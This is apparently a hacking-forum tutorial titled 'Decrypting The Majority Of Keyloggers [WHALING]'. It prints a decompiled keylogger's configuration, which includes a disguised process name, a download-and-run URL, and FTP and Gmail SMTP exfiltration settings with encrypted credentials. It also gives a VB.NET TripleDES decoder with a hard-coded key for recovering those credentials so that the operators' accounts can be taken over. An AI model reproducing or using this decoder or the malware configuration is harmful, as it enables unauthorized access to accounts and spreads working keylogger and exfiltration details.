[TUT/Download] Decrypting The Majority Of Keyloggers [WHALING]

Code

Shared Sub New()

    Module1.Didec = True

    Module1.DnEIL = False

    Module1.ZOiYP = False

    Module1.LYmTkXb = False

    Module1.CagcorG = False

    Module1.bvPJyen = False

    Module1.kkzEHyX = "10"

    Module1.PcnIVJu = "C:\Windows\Microsoft.NET\assembly"

    Module1.gHhsmFC = 1

    Module1.DYMVsnR = "VfDj"

    Module1.ZZYdzHO = "CurrentUser"

    Module1.QfYIpsN = "lBhoHP"

    Module1.rSbnQjP = "cvPidSxHIG"

    Module1.jHqBHDPfu = "iexplorer.exe"

    Module1.SDDate = "+SDDate+"

    Module1.TakeScrns = False

    Module1.Message = New String() { "+MsgFalse+", "+MsgMsg+", "+Ico+" }

    Module1.Delay = "+DelOff+"

    Module1.FRMsg = False

    Module1.NoEL = False

    Module1.SSTime = False

    Module1.SSInt = "10"

    Module1.emcIDECHr = False

    Module1.nRvtbQkbS = "http://www.exampleserver.com/directfile.exe"

    Module1.uOtSjvjhb = False

    Module1.BXYhFmQfM = "setup.exe"

    Module1.ZXzhykoPo = True

    Module1.QpBuNwTDO = False

    Module1.GjlSYrzpV = "LHs1gVoZGRA="

    Module1.NTPbrsOQZ = "ftp.exampleserver.com"

    Module1.lCrumLoTR = "LHs1gVoZGRA="

    Module1.OOpxKmGlK = "/"

    Module1.yQeznwVQ = "smtp.gmail.com"

    Module1.rrqvSZgL = "7wPhoTI0TvUSRFTyNIuY0bDFER1pKlUw"

    Module1.fQxzVxCQ = "Iz18IC6KlfM="

    Module1.RkQoGgGR = "[email protected]"

    Module1.WnDKMVsn = "587"

    Module1.LMKPzHOe = "----[ ~~----[ ~~]----"

    Module1.wucRlbSg = "----[ ~~]----"

    Module1.cdbgRKRv = True

    Module1.RBwlGvmB = True

    Module1.JpItxXLJ = True

    Module1.VYnJK = True

    Module1.KeyboardHandle = IntPtr.Zero

    Module1.LastCheckedForegroundTitle = ""

    Module1.callback = Nothing

End Sub

Code

Imports System

Imports System.IO

Imports System.Security

Imports System.Security.Cryptography

Imports System.Text

Imports Microsoft.VisualBasic.CompilerServices.NewLateBinding



Public Class Form1



    Public Shared Function TripleDESDecode(ByVal value As String, ByVal key As String) As String

  Try

    Dim provider As New TripleDESCryptoServiceProvider

    provider.IV = New Byte(8 - 1) {}

    provider.Key = New PasswordDeriveBytes(key, New Byte(0 - 1) {}).CryptDeriveKey("RC2", "MD5", &H80, New Byte(8 - 1) {})

    Dim buffer As Byte() = Convert.FromBase64String(value)

    Dim stream2 As New MemoryStream(value.Length)

    Dim stream As New CryptoStream(stream2, provider.CreateDecryptor, CryptoStreamMode.Write)

    stream.Write(buffer, 0, buffer.Length)

    stream.FlushFinalBlock()

    Dim buffer2 As Byte() = New Byte((CInt((stream2.Length - 1)) + 1) - 1) {}

    stream2.Position = 0

    stream2.Read(buffer2, 0, CInt(stream2.Length))

    stream.Close()

    Return Encoding.UTF8.GetString(buffer2)

  Catch

    Return "Error"

  End Try

    End Function



    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

  TextBox3.Text = TripleDESDecode(TextBox1.Text, "System.Net")

    End Sub



End Class